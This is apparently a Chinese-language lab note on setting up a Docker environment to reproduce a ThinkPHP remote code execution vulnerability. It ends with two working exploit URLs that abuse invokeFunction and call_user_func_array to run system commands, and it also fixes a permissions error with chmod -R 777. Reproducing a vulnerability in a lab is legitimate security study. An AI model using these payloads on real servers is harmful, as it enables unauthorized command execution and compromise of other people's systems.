thinkphp 4.8 漏洞测试
首先要部署环境
这里利用docker的方便部署性,来直接找个现成的
下载安装后,cd到 thinkphp 目前,ls文件如下
文件中有 docker-compose.yml 文件,为docker中要用到的。
查看, vi docker-compose.yml 代码如下,原始镜像是php:7.2.2-apache,container_name设置为php_web,端口为80【该处可以修改】
````
version: '3'
services:
web:
image: php:7.2.2-apache
container_name: php_web
volumes:
- ./html:/var/www/html/
ports:
- "80:80"
````
防止端口冲突,修改对外端口为8010
````
ports:
- "8010:80"
````
发现没有 docker-compose命令。。。百度。。安装一下。
sudo curl -L "https://github.com/docker/compose/releases/download/1.23.1/docker-compose-linux-x86_64" -o /usr/local/bin/docker-compose
再给下权限 sudo chmod +x /usr/local/bin/docker-compose
查看是否安装成功,看下版本:docker-compose --version
返回:docker-compose version 1.23.1, build b02f1306
docker-compose -f docker-compose.yml up --no-recreate
-f 指定yml文件
up 生成后直接启动
--no-recreate 如果容器已经存在,不需要重新创建
等待生成完成,下面是先要docker里下载镜像“php:7.2.2-apache”,耗时很长
MD...
下载太慢,卡了。
下载太慢,卡了。
换docker源,下载快的跳过这步
配置Docker加速器
您可以使用如下的脚本将mirror的配置添加到docker daemon的启动参数中。
# 系统要求 CentOS 7 以上,Docker 1.9 以上。
sudo cp -n /lib/systemd/system/docker.service /etc/systemd/system/docker.service
sudo sed -i "s|ExecStart=/usr/bin/docker daemon|ExecStart=/usr/bin/docker daemon --registry-mirror=https://1234abcd.mirror.aliyuncs.com|g" /etc/systemd/system/docker.service
sudo systemctl daemon-reload
sudo service docker restart
用这个方式,换源成功。
再执行 docker-compose -f docker-compose.yml up --no-recreate
OK,启动了
MD,打开地址报错。http://192.168.31.37:8010
Uncaught think\exception\ErrorException: mkdir(
看了下,可能是权限问题。。
找到对应目录 /var/www
````
chmod -R 777 html chmod -R 777 html
````
再次访问,正常
访问地址
http://192.168.31.37:8010/public/index.php?s=index/\think\Container/invokeFunction&function=call_user_func_array&vars[]=system&vars[1][]=pwd
http://192.168.31.37:8010/public/index.php?s=index/\think\Container/invokeFunction&function=call_user_func_array&vars[]=system&vars[1][]=whoami
完成.成功复现问题
<wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">